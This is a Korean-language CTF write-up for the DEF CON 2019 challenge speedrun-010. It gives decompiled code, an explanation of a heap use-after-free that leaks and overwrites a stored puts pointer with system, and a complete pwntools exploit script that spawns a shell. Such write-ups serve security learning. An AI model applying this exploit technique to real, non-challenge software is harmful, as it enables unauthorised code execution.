2019 Defcon CTF speedrun-010
보호기법은 다 걸려있는 64비트 바이너리다.
[*] '/vagrant/ctfs/speedrun-010'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
name과 msg는 5개까지 만들 수 있다. 1,2번 메뉴는 할당해주고 뭐 등등 하고 3,4번 메뉴는 각각 free해준다.
unsigned __int64 sub_8BC()
{
__int64 v0; // rsi
char buf; // [rsp+7h] [rbp-29h]
int v3; // [rsp+8h] [rbp-28h]
int v4; // [rsp+Ch] [rbp-24h]
ssize_t v5; // [rsp+10h] [rbp-20h]
char *v6; // [rsp+18h] [rbp-18h]
char *v7; // [rsp+20h] [rbp-10h]
unsigned __int64 v8; // [rsp+28h] [rbp-8h]
v8 = __readfsqword(0x28u);
v3 = 0;
v4 = 0;
while ( 1 )
{
sub_89D();
v5 = read(0, &buf, 1uLL);
if ( v5 != 1 )
break;
switch ( buf )
{
case 49:
if ( v4 > 5 )
return __readfsqword(0x28u) ^ v8;
++v4;
puts("Need a name");
v7 = (char *)malloc(0x30uLL);
read(0, v7 + 8, 0x17uLL);
v7[31] = 0;
*((_QWORD *)v7 + 4) = &puts;
qword_202080[v4 - 1] = v7;
break;
case 50:
if ( v3 > 5 )
return __readfsqword(0x28u) ^ v8;
++v3;
puts("Need a message");
v6 = (char *)malloc(0x30uLL);
v0 = (__int64)(v6 + 16);
read(0, v6 + 16, 0x18uLL);
v6[40] = 0;
(*((void (__fastcall **)(signed __int64, __int64))qword_202080[v4 - 1] + 4))(
(signed __int64)qword_202080[v4 - 1] + 8,
v0);
*((_QWORD *)v6 + 1) = &puts;
(*((void (__fastcall **)(const char *))v6 + 1))(" says ");
(*((void (__fastcall **)(char *))v6 + 1))(v6 + 16);
(*((void (__fastcall **)(const char *))v6 + 1))("\n");
*(_QWORD *)v6 = qword_202080[v4 - 1];
qword_202040[v3 - 1] = v6;
break;
case 51:
if ( !v4 )
return __readfsqword(0x28u) ^ v8;
free(qword_202080[v4 - 1]);
break;
default:
if ( buf != 52 || !v3 )
return __readfsqword(0x28u) ^ v8;
free(qword_202040[v3-- - 1]);
break;
}
}
return __readfsqword(0x28u) ^ v8;
}
UAF가 터진다. name이랑 msg를 0x30만큼 똑같은 크기를 자유롭게 할당하고 해제할 수 있다.
함수 포인터로 puts가 저장되서 heap영역에 puts의 주소가 저장되어있다. 그래서 leak이 가능하다.
puts 위치에 system을 쓰고 인자에는 /bin/sh\x00 넣어서 쉘을 띄워주면 된다.
exploit.py
from pwn import *
context.log_level = 'debug'
sla = lambda x,y : p.sendlineafter(x,y)
sa = lambda x,y : p.sendafter(x,y)
def name(name):
sa('5\n','1')
sa('name',name)
def msg(msg):
sa('5\n','2')
sa('message',msg)
def free_name():
sa('5\n','3')
def free_msg():
sa('5\n','4')
if __name__ == '__main__':
e = ELF('./speedrun-010')
p = process('./speedrun-010')
libc = e.libc
name('A')
free_name()
msg('B')
msg('C')
libc_base = u64(p.recvuntil('\x7f')[-6:]+'\x00\x00') - libc.symbols['puts']
log.info('libc_base : ' + hex(libc_base))
name('/bin/sh\x00')
free_name()
msg(p64(libc_base + libc.symbols['system'])*3)
#raw_input()
p.interactive()